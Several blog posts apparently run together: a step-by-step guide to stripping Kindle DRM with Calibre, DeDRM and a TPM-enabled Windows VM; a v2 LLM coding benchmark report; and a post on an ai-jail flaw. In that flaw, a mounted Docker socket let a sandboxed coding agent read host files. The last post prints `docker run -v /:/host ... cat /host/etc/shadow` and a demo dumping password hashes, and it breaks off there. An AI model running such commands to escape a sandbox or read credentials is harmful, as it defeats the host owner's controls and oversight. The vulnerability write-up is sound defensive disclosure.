If you want to revive one of these devices, I recommend the Dammit Jeff channel. He covers jailbreaks, KOReader, alternative stores, and ways to keep Kindles useful after Amazon loses interest. His video about AdBreak and recent jailbreaks is a good place to start. Read the current Kindle Modding guide before doing anything, because supported firmware and methods change constantly.

Jailbreaking the device and removing DRM from an ebook are separate problems. You do not need to unlock your Kindle to follow the rest of this article. I mention both because they start from the same premise: hardware and media we’ve already paid for should remain useful without asking the manufacturer for eternal permission.

Crash course: AZW, EPUB, and KFX

DRM and file format are separate things. The format defines how text, images, fonts, the table of contents, and metadata are packaged. DRM adds a cryptographic lock on top and decides which account, app, or device can open it.

These are the three names that matter here:

The extension alone can be misleading. Pieces of a KFX book may show up as .azw, .azw.res, .voucher, and other variations. The KFX Input plugin exists specifically to understand that bundle.

EPUB is much less mysterious. The EPUB 3.3 specification defines it as a single-file container for structured Web content. It’s basically a small packaged website. Any halfway decent reader can support it without depending on a secret Amazon key.

Calibre and the two plugins

calibre is the Swiss Army knife of ebooks. It’s open source, runs on Linux, macOS, and Windows, organizes libraries, fetches metadata, edits covers, transfers books, and converts dozens of formats. It has been around since 2006 and was born precisely because the first Sony Reader didn’t work properly on Linux.

On Omarchy or any other Arch system, install the package:

sudo pacman -S calibre

For other distributions, see the official download page. Don’t install some random package from a download site.

One gotcha for environments using mise: if Calibre dies with ModuleNotFoundError: msgpack or BrokenPipeError, a Python shim probably got ahead of /usr/bin. The Arch package needs the system Python. Start it like this:

env PATH="/usr/bin:$PATH" /usr/bin/python3 /usr/bin/calibre

This has nothing to do with DRM or the plugins. It’s just Calibre’s helper calling the wrong Python. I left a permanent launcher with this PATH on my desktop.

Calibre alone does not remove DRM. We need two plugins:

1. DeDRM recognizes and removes locks from several ecosystems during import. It only runs when the book enters the library. Clicking Convert afterward removes nothing.
2. KFX Input understands Amazon’s modern containers, gathers the pieces of a book, and makes EPUB conversion possible.

At the time of writing, I’m using DeDRM 10.0.28, published on July 14 in the fork maintained by Satsuoni. It is a pre-release. Download the asset named DeDRM_tools.zip, never a standalone executable from some obscure mirror.

Update (August 2026): the Kindle app on the Microsoft Store keeps moving, and each new app version requires a new version of the tool. Since this article was published, the app moved past 1.0.18632: 10.0.29 added support for app 1.22326, and 10.0.30 supports app 1.0.22920. The practical rule is a single one: the executable’s name carries the app version it understands (MSIXKFXArchiverMobi1_22920.exe for Store app 1.0.22920, and so on). Before you start, always check the releases page of Satsuoni’s fork and grab the newest pre-release. Everything else in the process described here stays the same.

I extracted everything into a directory that would later be shared with the Windows VM:

mkdir -p ~/Windows/Kindle-DeDRM/v10.0.28
unzip ~/Downloads/DeDRM_tools.zip -d ~/Windows/Kindle-DeDRM/v10.0.28

The SHA-256 for the DeDRM_tools.zip I used was:

520cce704edf9ae26e43196efe2871daf9b25d6cb489aa56051626801c362947

Check it with sha256sum. This doesn’t magically turn a community binary into safe software, but it at least confirms that you’re using the same file I tested.

Inside that directory is DeDRM_plugin.zip. Do not extract this second ZIP. In Calibre, open Preferences → Plugins → Load plugin from file, choose DeDRM_plugin.zip, accept the warning, and restart the program.

Then go back to Preferences → Plugins → Get new plugins, search for KFX Input, and install it. My test used version 2.33.0. Restart again.

Why copying from the Kindle over USB didn’t work

The simplest path would still be plugging in my new Kindle Paperwhite, copying the book, and configuring the device serial number in DeDRM. That was the first thing I tried.

The file came in as KFX-ZIP, the plugin ran, but it remained encrypted. I opened Calibre in debug mode and the log showed that the book used the ACCOUNT_SECRET strategy. The serial number was correct. The required key no longer came from the device alone.

That’s why so many people follow an old tutorial, try five different serial numbers, and conclude that DeDRM is broken. New books with this DRM need the secret stored by the current Kindle app on Windows. That secret is protected by TPM APIs.

A disposable Windows inside Omarchy

I’m not keeping a dual-boot setup just to download ebooks. I’m also not going to pretend Wine runs everything. Fortunately, Omarchy already ships with everything needed to install and launch a Windows VM: it appears in the Omarchy menu, opens over RDP, and automatically shares ~/Windows with the guest. I didn’t have to build this integration from scratch.

Underneath, it uses dockur/windows. Dockur packages QEMU/KVM inside a container and automates the Windows installation. It remains a real virtual machine with its own disk and kernel. The container handles distribution, configuration, and lifecycle.

To install it from the terminal, run:

omarchy-windows-vm install

Choose the RAM, CPU count, and disk size. The installer creates ~/.config/windows/docker-compose.yml, stores the virtual disk in ~/.windows, and shares ~/Windows with the guest. Inside Windows, that directory appears as Shared, usually on Z:, and is also available at \\host.lan\Data.

The detail that mattered in my case was enabling TPM 2.0. Edit the generated Compose file and add TPM: "Y" to the environment block:

services:
  windows:
    image: dockurr/windows
    environment:
      VERSION: "11"
      TPM: "Y"

Then recreate the container. The Windows disk remains in the persistent volume:

omarchy-windows-vm stop
omarchy-windows-vm launch -k

The -k keeps the VM running after you close RDP. You can also watch it boot in a browser at http://127.0.0.1:8006.

Downloading the books with the right app

Inside Windows, open the Microsoft Store and install Amazon Kindle: Reading App, product 9P8JQ0JJSTLL.

Pay attention here. The old Kindle for PC installer found on blogs is not the same app. The tool I used looks for the Microsoft Store package AMZNKindle.AmazonKindleReadingApp. With the legacy program, it simply replies No AmazonKindleReadingApp installation found.

Sign in to your account and download every book you want to preserve. Opening the cover or seeing the title in your library isn’t enough. The content must be available offline inside the app.

Unfortunately, the most annoying part is still manual. Amazon found room for a one-click purchase button, but apparently not for a “download everything I’ve paid for” button.

I did this for 106 books. Yes, it was a pain in the ass.

Generating KFX-ZIP files and the K4I key

The DeDRM_tools.zip we extracted on Linux is already visible in Windows through the shared directory. Open PowerShell and switch to that directory:

cd \\host.lan\Data\Kindle-DeDRM\v10.0.28
.\MSIXKFXArchiverMobi1_18632.exe

The banner may still mention an older 1.0.15230 build. The versioned executable above looks for Store app 1.0.18632, and that’s the one that worked for me. The number in the file name must match your app version: if the Store already delivered a newer one, download the matching release from the project’s page (see the update in the plugins section).

This executable finds the current Microsoft Store app’s cache, gathers each book’s components, and produces two things:

• archived_kfx/, containing one .kfx-zip for every downloaded ebook;
• oldbooks.k4i, the keyfile DeDRM needs to open those files.

On my machine, the process found and archived 106 books. The SHA-256 of the executable I ran was:

0c78b45ccea2c36a5fbb01b9f66bdd9e5d5960a68a340ba2ee96e138f5cddf4a

It is a 32-bit binary. If it complains about a missing MSVCP140.dll, install the official Microsoft Visual C++ Redistributable x86. Do not hunt for a loose DLL on Google. That’s a great way to turn a book backup into a malware backup.

The oldbooks.k4i file is sensitive. It is derived from your account secret in that Kindle installation. Do not publish it, attach it to a GitHub issue, screenshot its contents, or put it in a public repository.

Configuring the key in DeDRM

Back on Linux, open Calibre and follow this path:

Preferences → Plugins → DeDRM → Customize plugin → Kindle for Mac/PC ebooks → Import Existing Keyfiles

Select:

~/Windows/Kindle-DeDRM/v10.0.28/oldbooks.k4i

Use Import Existing Keyfiles. Do not use the generic Set Keyfile button on the main screen. It records a different kind of key candidate and does not register the K4I key in the right place.

Close the key list, click OK in the main configuration window, and restart Calibre. If you close it with Cancel, it quietly throws the change away.

Importing and converting to EPUB

Before dumping a hundred files into the library, test one.

Choose a .kfx-zip from:

~/Windows/Kindle-DeDRM/v10.0.28/archived_kfx/

Use Add books in Calibre. Internally, the order is:

1. KFX Input recognizes the package;
2. DeDRM tries the K4I keys during import;
3. KFX Input assembles the decrypted book as KFX;
4. Calibre can now open and convert the result.

If the format still appears as KFX-ZIP, it failed. Clicking Convert ten times won’t help. Remove that entry from the library, fix the plugin or key, and import it again. DeDRM only acts on input.

When the book appears as KFX, open it in the viewer and check a few pages. Then click Convert books, choose EPUB as the output, and test the resulting file on the reader you plan to use. Only then should you run the batch import.

In my case, the KFX opened, converted, and the EPUB worked outside Kindle. That told me the entire path was working: Microsoft Store, TPM, archiver, K4I, DeDRM 10.0.28, and KFX Input 2.33.0.

Back up what actually matters

After the conversion, I preserve three things:

• the final EPUBs, which I can read on any device;
• the original KFX-ZIP files, until I’ve verified that every EPUB is intact;
• oldbooks.k4i, encrypted and stored separately from the library.

My plaintext keyfile has 0600 permissions. I also keep an encrypted copy using SOPS and age, with the private key in a separate backup. Do not put a raw oldbooks.k4i in Git just because the repository is private. Private repositories leak too.

The EPUBs follow the same strategy I use for other important files: a local copy, NAS, and off-site backup. I explained this paranoia in Protecting and Recovering Lost Data and showed the same philosophy applied to movies in My Personal Netflix.

Do not delete files from the Kindle or the VM the minute conversion finishes. Open the EPUBs and check the cover, table of contents, images, notes, and a few pages. A backup you’ve never tested is just wishful thinking.

Conclusion

Amazon has remotely deleted books, publishers update covers and content, old apps stop working, and formats change. The end of Download & Transfer via USB proved that a feature available for eighteen years can disappear with one line in a notice.

The classic example is still unbelievable: in 2009, Amazon deleted 1984 and Animal Farm by George Orwell from customers’ Kindles. Later, revisions to Roald Dahl, R.L. Stine, and Agatha Christie were pushed into digital copies people had already bought. The Vice article summarizes those cases. Dammit Jeff makes the same point often: even the original cover you chose can turn into an ugly poster for the streaming adaptation because the publisher and store decided to update your “purchase.”

It doesn’t matter whether the next change is censorship, a legitimate correction, another horrible Netflix adaptation cover, or a plain bug. I bought an edition. I want to preserve the edition I bought.

DRM does not stop piracy. A popular book lands on torrents the day it comes out. DRM only gets in the paying customer’s way, makes accessibility harder, locks up perfectly good hardware, and turns a purchase into an indefinite rental.

Calibre, DeDRM, KFX Input, and a disposable VM gave me my library back. I can now put those EPUBs on the Xteink, a Kobo, a tablet, my phone, or a reader that doesn’t even exist yet. I can switch operating systems and turn off the internet. The files stay with me.

If it isn’t on your machine, it isn’t yours.

Great. The table in the first article is already a museum piece.

The argument in the second one still stands. In fact, it got even easier to demonstrate because I spent the last few days rerunning practically the entire benchmark. That meant dozens of runs, several discarded attempts, hundreds of dollars between API charges and credit equivalents, and an indecent amount of time reading robot-generated Rails code.

The result is version 2 of my LLM Coding Benchmark. The test got harder, the audit became more explicit, and each family now runs, whenever possible, in the harness where it should work best.

I’ll say this up front: v2 scores are not directly comparable to v1 scores. The prompt changed. So did the requirements, several model-harness pairings, the validation, and the rubric. The v1 column in the report is historical context, not a scientific measurement of how much each model “improved.”

Why I retired v1

We ran v1 for months. It did a good job separating models that could actually build a Rails app from those that invented RubyLLM APIs, wrote tests for their own hallucinations, and shipped Dockerfiles that never came up.

Then the newer models hit the ceiling of that test. Fifteen of the forty results were already packed into Tier A, with the top compressed between 92 and 97. The job still had real details, but the best models cleared the old discriminators easily. The order started coming down to an API-key preflight here, a cookie limit there, one missing error test. Valid details, not much separation.

There was another operational inconsistency: the model-harness pairing. Claude had been tested in OpenCode. So had Grok, Kimi, and Gemini. Today we have Claude Code, Codex, Kimi Code CLI, grok CLI, and Antigravity. Measuring a model in a generic harness when an integration tailored to its behavior exists can distort the result.

The benchmark was never measuring the weights file alone:

result = model + harness + prompt + tools + context + execution + audit

So I stopped hiding the harness inside the score. Claude moved to Claude Code. GPT moved to Codex. Kimi K3 and K2.7-Coding moved to Kimi CLI. Grok and Gemini got A/B runs in their vendors’ own CLIs. A fully isolated OpenCode remained the fallback for models without a better harness or subscription access.

The new test

V1 had two phases: build the app and try to bring it up. V2 has three phases, fourteen numbered goals, and a ten-dimension rubric.

In phase one, the model still has to build a ChatGPT-style chat app on its own in Rails with RubyLLM, Hotwire, Tailwind, Minitest, Docker, and Compose. That’s where the resemblance ends. Now it must also deliver:

• real per-token streaming through Turbo Streams, proven to be incremental;
• a correct multi-turn payload that does not send the current message twice, plus a test for the exact array sent to the provider;
• persistence that survives a restart and works with WEB_CONCURRENCY=2, with a TTL plus message-count and byte limits;
• exactly two tools, server_time and a safe calculator, using the real RubyLLM API;
• a title generated through the structured-output API;
• a per-conversation token budget;
• a system prompt, credential preflight, degraded states, and provider-error handling;
• a guarantee that failed turns never contaminate future history;
• clean RuboCop, Brakeman, and bundle-audit runs, plus a non-root production Docker image and no secrets.

Phase two does not accept a README claiming everything works. It boots Rails, watches the tokens arrive, forces real tool calls, holds a conversation across two workers, restarts the server, checks the history, runs tests and gates, executes docker build, and sends a real message to the app inside Compose.

Phase three asks the model to review every goal as PASS, PARTIAL, or FAIL, cite a file, line, test, or command, and write down what is still broken. That honesty is worth 15 points. An accurate FAIL is worth more than an optimistic PASS that the audit disproves.

This phase produced data v1 never had. Kimi K3 and Nex, for example, admitted defects that would have been easy to hide. Others built a reasonable app and then hallucinated their own inspection. Programming and reviewing what you programmed are different capabilities.

The harness became part of the test

I also ran A/B tests with the native tools:

A native harness does not sprinkle magic dust on a model. Grok 4.5 barely cared. Grok 4.3 needed the structure. Gemini 3.1 needed a transport that would not break on Corrupted thought signature. Three different mechanisms that a rushed comparison would flatten into “the CLI improved the score.”

In the ranking below, I use the preferred harness whenever a complete run exists: Antigravity for the Geminis and grok CLI for the Groks. The OpenCode baselines remain in the repository as A/B data, but do not appear a second time in the table.

The new ranking

This is the consolidated v2 table, with one entry per model in the preferred available harness.

Time is end-to-end wall clock across the three phases. Cost is API-equivalent: for models on Codex I use the cache-discounted blended figure (same criterion as the cost section below); on subscription plans (Z.ai, grok CLI) the marginal cost is $0 and the number in parentheses is the API-equivalent; the Antigravity runs were preview and were not metered.

The details, artifacts, and deductions are in the full v2 report.

What the tiers mean now

The new cutoff is anchored on Claude Opus 4.6, which scored 83 and showed the minimum needed to carry the entire test. Here’s the practical interpretation:

There are 15 models in A.1 and 9 in A.2. All 24 cleared the competence floor for this kind of work. The subdivision helps decide where to start: A.1 contains the frontier results; A.2 contains capable models that needed more fixes, left shallower tests, or carried clearer operational limitations.

That does not make 96 universally more intelligent than 91, nor does it make an A.2 model bad. An A.2 model may be better at refactoring, debugging, frontend work, or inside your fifteen-year-old monolith. This test does not measure all of that. The cutoff simply avoids throwing 24 options into one oversized bucket.

A.1 and A.2 make up the candidate pool. I cut Tier C and D before I start.

So which one is best: Fable, Opus, Terra, or Kimi?

If all you want is a one-line answer, you’re going to be disappointed again.

On the final artifact, Fable won. It was also the fastest of these four. If I were paying for every API call in this run, Kimi K3 won on cost by a mile, tying Opus at 95 and landing only one point behind Fable.

Opus 5 built an excellent project, but it was the slowest and burned 56.8 million tokens as counted by Claude Code. In this test, the extra 33 minutes over Fable bought nothing visible. Terra also delivered good work, finished two points behind K3, and cost less than Fable and Opus at API-equivalent rates.

If you already pay for Claude Max or ChatGPT Pro, the marginal cost stays near zero while you remain within the limits. Kimi Moderato is also a subscription, with its own quota windows. So “$26 versus $6” does not settle anything by itself. The first question is which subscription you already pay for and how much room it has left. For pay-as-you-go and automation, per-run cost moves back to center stage.

My reading of this run:

• Fable 5 delivered the best combination of quality and time;
• Kimi K3 offered the best value among the leaders;
• Opus 5 was capable and meticulous, but expensive and slow in this execution;
• GPT 5.6 Terra delivered the best balance in the family if you live in Codex.

That’s a reading of this project. Change the workload and the order may flip.

Opus versus Sonnet, Sol versus Terra

A tier name is not a benchmark. Sonnet 5 proved that in an almost embarrassing way:

Sonnet 5 tied Opus 5, finished nineteen minutes earlier, and produced the first genuine 100% line coverage in the entire benchmark. It also wrote the family’s best self-review. Automatically choosing Opus because “Opus is the higher tier” would mean throwing out your own data.

This also corrects a terrible impression from v1, where Sonnet 5 scored 58 and hallucinated the RubyLLM API. In v2 it ran through Claude Code, received explicit requirements, and scored 95. We cannot conclude that the model improved by 37 points because we changed practically the entire experiment. We can conclude that the v1 pairing was a poor representation of what it can do.

On the OpenAI side:

Terra tied Sol at 93, finished eight minutes sooner, and cost a little more than one-third as much in the blended calculation. It also produced the best concurrency protection in the entire run: Redis with WATCH/MULTI, a distributed per-conversation lock, and forced tool choice. On this test, paying for Sol bought no points and saved no time. Terra is the most rational pick in the family.

Luna stays in the table because it scored 91 and remains an A.1 result, but its cost argument is gone: Terra scored two points higher for only thirteen cents more and took about three extra minutes.

Cache remains the important detail. Of Terra’s 21.7 million input tokens, 21 million were cache hits. Pricing everything as fresh input would produce an upper bound of $111.62. At the cache rate, it falls to $16.92. Any cost table that mixes CLIs without understanding what each one reports is comparing apples to JSON.

What about the Chinese models?

The line about Chinese models being useful only as cheaper alternatives is stale.

Kimi K3 tied Opus 5. K2.5, K2.6, MiniMax M3, and GLM 5.2 landed in the same A.1 as Claude and GPT. The OpenCode runs are still cheaper than the $16 to $45 range of the leaders run through Claude Code and Codex, but this is no longer a comparison between pennies and dozens of dollars. And a subscription is not an API: GLM had zero marginal cost because it ran on Z.ai’s plan; the same usage would cost about $12.05 through the API.

Kimi is the easiest family to recommend today. K3 offers top-tier quality through a cheap subscription. K2.5 and K2.6 were economical over the API, costing $1.50 and $2.64. K2.7 landed below its siblings, but it ran in another harness, so I am not going to invent a tidy progression story from four isolated data points.

MiniMax M3 deserves attention and caution in equal measure. It scored 91 for $7.72, still less than one run through the American leaders, but burned 121 million tokens and took almost two hours. It was the most expensive and token-hungry OpenCode run. The score is good; the usage profile, not so much.

GLM 5.2 scored 92 at zero marginal cost on Z.ai’s plan, but consumed the equivalent of $12.05 through the API. It took about two and a half hours. If wall-clock time does not matter, it is a very strong option. If you work in short cycles, Grok 4.5 delivered 91 in about 25 minutes through grok CLI, more than six times faster.

DeepSeek remains cheap, but stopped in Tier B. V4 Pro scored 82 for $0.35 and V4 Flash scored 80 for $0.81. They’re close, and I want to repeat the test when a new version arrives. Today I still would not leave either one working alone as a coding agent in a codebase that matters. Saving one or two dollars only to spend an hour reviewing a structural defect is lousy math.

Why I did not rerun the local models

I did not run Qwen 3.5 or the other local models on v2. The priority shifted to mapping the programming Tier A more accurately, and every complete run of this test costs machine time, audit time, and sanity.

Local models are not useless. They work for translation, classification, summarization, controlled one-shots, and tasks where privacy or offline operation matters more than quality. For autonomous coding agents, though, the v1 tests landed far below the floor. V2 is harder. I see no reason to spend several more days confirming that a quantized local Qwen cannot compete with Fable, Opus, GPT 5.6, or Kimi in software engineering.

For programming, it is not worth it today. If a new local model appears with strong evidence behind it, I’ll test it. Until then, I’d rather spend my time separating the twenty-four models that have already cleared the floor.

Conclusion

V1 did its job and saturated. V2 puts pressure where today’s models still slip: real streaming, multi-turn payloads, concurrency, persistence, tools, structured output, budgeting, operational security, faithful tests, and the ability to admit their own defects.

Fable 5 finished on top with 96. Sonnet 5, Opus 5, and Kimi K3 tied at 95. Sol and Terra came right behind them at 93. That answers which models produced the best projects on this test.

Choosing what to use is a different reading:

• Tier A.1 contains the 15 frontier results, all scoring 90 or higher;
• Tier A.2 contains 9 capable models from 83 to 89, still worth recommending with closer review;
• Tier B is close, but I still do not recommend it for autonomous work;
• Tier C is for translation, summarization, and simple agents;
• Tier D is too inconsistent for me to recommend;
• inside Tier A, choose by subscription, speed, cost, and harness;
• one or two points do not make anyone the universal champion of intelligence.

My own choice remains concentrated on Claude Code and Codex because those are the harnesses I use every day. Within Codex, Terra delivered the best balance of score, time, and cost. Kimi K3 has become a serious top-tier alternative. Grok 4.5 is the speed champion of this round. GLM has zero marginal cost on the subscription and MiniMax still costs less than the leaders, but neither is a speed pick. Sonnet 5 proved that reflexively paying for or selecting the “higher” tier can be a waste.

All generated code, prompts, results, self-reviews, rubric details, and corrections are in llm-coding-benchmark. The major code and test overhaul is already on master. Contributions are welcome, whether you want to add a model, improve a harness, dispute a deduction, or find another bug in the auditor.

Just bring artifacts and data. We have enough ranking opinions already.

The report checked out, and the fix is already available in v1.16.0.

Update to v1.16.0

If you use ai-jail, the update is the usual drill:

# Arch Linux (AUR)
yay -Syu ai-jail-bin

# Homebrew (macOS / Linux)
brew update && brew upgrade ai-jail

# crates.io
cargo install ai-jail --force

# mise
mise cache clear && mise upgrade github:akitaonrails/ai-jail

What changed in v1.16.0

Up through v1.15.x, ai-jail mounted the Docker socket inside the jail automatically whenever /var/run/docker.sock existed on the host. Read-write. No warning, no flag, no asking for your opinion. I documented this in the README as “favors usability,” and it was true: a coding agent often needs to run docker compose to bring up a test database, and the automatic passthrough saved some configuration.

Starting with v1.16.0, the behavior flipped:

• Socket passthrough is now off by default. It only goes in if you explicitly ask for it with the --docker flag or no_docker = false in .ai-jail.
• When you enable it and a host socket exists, ai-jail prints a launch warning spelling out that this amounts to giving host root to the process inside the jail.
• ai-jail status now shows Docker as disabled (default), so nobody thinks it got turned on by accident.
• In --lockdown and browser profile modes the socket never goes in, same as before.

A behavior change, yes, and a deliberate one. If your workflow depends on Docker inside the jail (mine does, in a few projects), opting in is one line in the project’s .ai-jail:

no_docker = false

The field name is ugly (no_docker = false to turn it on, I know), but old configs keep parsing the same way, and --no-docker / no_docker = true work as before. Only the default changed. The details are in the v1.16.0 release notes.

What issue #88 showed

mdindoffer’s report is the kind every maintainer wants to get: precise summary, a repro in a few lines, a fix proposal. The gist:

ai-jail was mounting the raw Docker socket inside the sandbox, read-write. The Docker daemon runs as root on the host. So an agent inside the jail could run this:

docker run --rm -v /:/host alpine sh -c 'cat /host/etc/shadow'

And that’s the ballgame. Read any file on the host, as root. It defeats the tmpfs $HOME, --mask, --deny-path, and Landlock in one move, because the action no longer happens inside the sandbox: it happens in the daemon, which lives outside and above any namespace bwrap created. The agent doesn’t even need to escape the jail when the jail has a door straight into the engine room.

In retrospect, shipping this on by default was a design mistake. I knew the passthrough was “dangerous” in the abstract, and I wrote as much in the README. What I hadn’t internalized: dangerous like this, with this default, is a vulnerability.

mdindoffer also proposed the definitive hardening path: instead of mounting the raw socket, put a filtered proxy in front of it (in the style of wollomatic/socket-proxy) that only accepts bind mounts from paths the agent can already write to inside the jail. It’s on the radar for a future release. To close the hole now, opt-in with an explicit warning fixes the default, which is where the problem lived.

The vulnerability class: docker.sock is root

This is not the first time I’ve run into this story, and I’d bet it isn’t yours either. “Whoever has access to the Docker socket has root on the host” is one of the classics of container security, documented by Docker itself on the daemon attack surface page: only trusted users should control the daemon, because Docker lets you share any host directory with a container, with no access restriction whatsoever.

The technical reason is simple. dockerd is a daemon that runs as root and obeys commands arriving through the API on the /var/run/docker.sock Unix socket. The docker CLI is just a client of that API. When you ask for docker run -v /:/host, the daemon is the one creating the container and mounting the host’s entire filesystem inside it, with full privilege. And a process inside a container runs as uid 0 by default, which the kernel sees as real uid 0 (barring user namespace remapping, which almost nobody turns on). The math checks out: write access to the socket equals root on the host. The docker group is passwordless sudo by another name.

The demo, on your machine

If you have Docker installed and your user in the docker group, reproduce it right now. No sudo, no exploiting any bug:

# confirm you're a regular user
$ id
uid=1000(akitaonrails) gid=1000(akitaonrails) groups=...,docker

# try reading /etc/shadow directly: denied, as expected
$ cat /etc/shadow
cat: /etc/shadow: Permission denied

# now ask the daemon to do it for you
$ docker run --rm -v /:/host alpine sh -c 'head -3 /host/etc/shadow'
root:$6$...:...
bin:!:...
daemon:!:...